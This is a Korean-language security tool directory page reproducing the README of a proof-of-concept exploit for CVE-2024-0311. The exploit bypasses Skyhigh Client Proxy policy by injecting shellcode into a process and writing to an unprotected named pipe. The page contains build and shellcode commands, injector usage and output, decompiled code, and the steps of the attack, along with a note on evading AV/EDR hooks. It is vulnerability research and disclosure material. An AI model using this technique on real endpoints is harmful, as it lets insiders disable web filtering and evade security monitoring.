Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-0311 — CVE-2024-0311에 대한 개념 증명 익스플로잇으로, 프로세스 인젝션과 명명된 파이프 조작을 통해 Skyhigh Client Proxy 정책을 우회하며, AV/EDR 제한을 회피하기 위한 맞춤형 셸코드를 포함합니다. | Kitploit
도구/GitHubGitHub/calligraf0/cve-2024-0311
Privilege EscalationExploitationIDS/IPS EvasionReverse EngineeringShellcodePayload DevelopmentBinary Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

CVE-2024-0311에 대한 개념 증명 익스플로잇으로, 프로세스 인젝션과 명명된 파이프 조작을 통해 Skyhigh Client Proxy 정책을 우회하며, AV/EDR 제한을 회피하기 위한 맞춤형 셸코드를 포함합니다.

저장소 보기
92221년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-0311 ?

이것은 제가 믿기에 CVE-2024-0311, SB10418에 대한 PoC입니다.

악의적인 내부자가 유효한 릴리스 코드 없이 Skyhigh Client Proxy의 기존 정책을 우회할 수 있습니다.

많은 세부사항. 매우 익스플로잇. ¯\(ツ)/¯

이 PoC는 사용자가 실행한 SCPBypass.exe 프로세스에 인젝션하여 SCPService.exe 파이프인 \\.\pipe\MCPTrayPipe0에 씁니다. 인젝션이 필요한 이유는, 파이프가 RW Everyone이더라도 WGUARDNT가 파이프에 쓰는 실행 파일에 대해 일부 검사를 수행하기 때문입니다(작성자 경로 확인). 아래 ACL 참조.

Trellix/McAfee가 실행 중이고 LoadLibrary를 후킹/차단하는 경우에도 파이프에 WriteFile을 실행할 수 있는 예제 셸코드가 제공됩니다.

컴파일

Visual Studio에서 Debug 또는 Release로 빌드하세요.

셸코드

다음 명령어로 셸코드를 생성하세요:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

그런 다음 셸코드를 shellcode.c에 넣으세요.

사용법

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

예제 출력:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

모든 것이 잘 진행되었다면 SCP 로그 파일에서 다음과 유사한 항목을 찾을 수 있어야 합니다:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

분석

간단한 분석을 하겠습니다. 말이 길 필요 없으니까요.

Skyhigh Proxy Client

먼저 Skyhigh 프록시 클라이언트가 무엇인가요?

Skyhigh Security Client Proxy 소프트웨어는 사용자가 네트워크 내부 또는 외부에서 웹에 액세스할 때 발생할 수 있는 보안 위협으로부터 엔드포인트 사용자를 보호합니다. 클라이언트 소프트웨어는 Microsoft Windows 또는 macOS를 실행하는 엔드포인트에 설치되며, 웹 요청을 리디렉션하거나 필터링을 위해 프록시로 전달하도록 허용합니다. 서버 소프트웨어는 Trellix ePO SaaS 또는 Trellix ePO Cloud와 같은 관리 플랫폼에서 실행됩니다.

이제 이해가 되셨길 바랍니다.

근본 원인은 무엇인가요?

권고문의 정보만으로는 알 수 있는 것이 많지 않습니다. 솔직히 말해서, 바이너리 서비스에서 LPE에 쉽게 익스플로잇할 수 있는 문제를 찾다가 CreateNamedPipe를 보고 관심을 가지게 되었습니다.

다음은 Ghidra에서 디컴파일한 코드를 빠르게 복사한 것입니다:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

함수가 호출되면 새로운 DACL 구조체가 초기화되고 새로운 파이프 \\.\pipe\MCPTrayPipe0이 byte mode로 생성되는 것을 볼 수 있습니다.

그런 다음 해당 파이프에 대한 핸들이 유효한 한, 프로그램은 파이프에서 읽고 전송된 바이트를 atoi(out_lpBuffer)로 ASCII에서 int로 변환하려고 시도합니다. atoi에 더 나은 대안이 있다는 사실은 무시하고, atoi 호출이 실패하지 않았다고 가정하면, 변환된 값이 FUN_14022d5b0에 전달됩니다:


undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

이는 SetWaitableTimer를 호출합니다. 여기서 문자열이 원하는 흐름을 찾는 데 도움이 되었습니다.

여기서 중요한 점은 ScpService.exe 프로세스가 파이프에 누가 무엇을 쓰는지에 대한 검사를 전혀 수행하지 않으며, 데이터를 맹목적으로 신뢰하고 전달한다는 것입니다. 게다가, accesschk로 파이프의 권한을 확인하면 파이프가 RW Everyone으로 나타납니다.

따라서 익스플로잇은 기본적으로 다음을 수행해야 합니다:

  • CreateFile(): 파이프에 대한 핸들을 얻습니다.
  • SetNamedPipeHandleState(): 바이트 모드로 설정합니다.
  • WriteFile(): 데이터를 씁니다.
  • CloseHandle(): 핸들을 닫습니다.

이것은 말 그대로 몇 줄의 파워셸로 수행할 수 있습니다. 쉬운 승리죠? 아닙니다.

왜 인젝션을 해야 하나요?

일이 그렇게 간단했다면 얼마나 좋을까요! 기술적으로는 그렇게 작동하는 것처럼 보였지만, 파이프를 열면 항상 파이프 클라이언트가 타임아웃되었습니다. 조금 더 파고들자 서비스가 다른 곳에서 ACL을 설정하고 있음을 발견했습니다.

도구 다운로드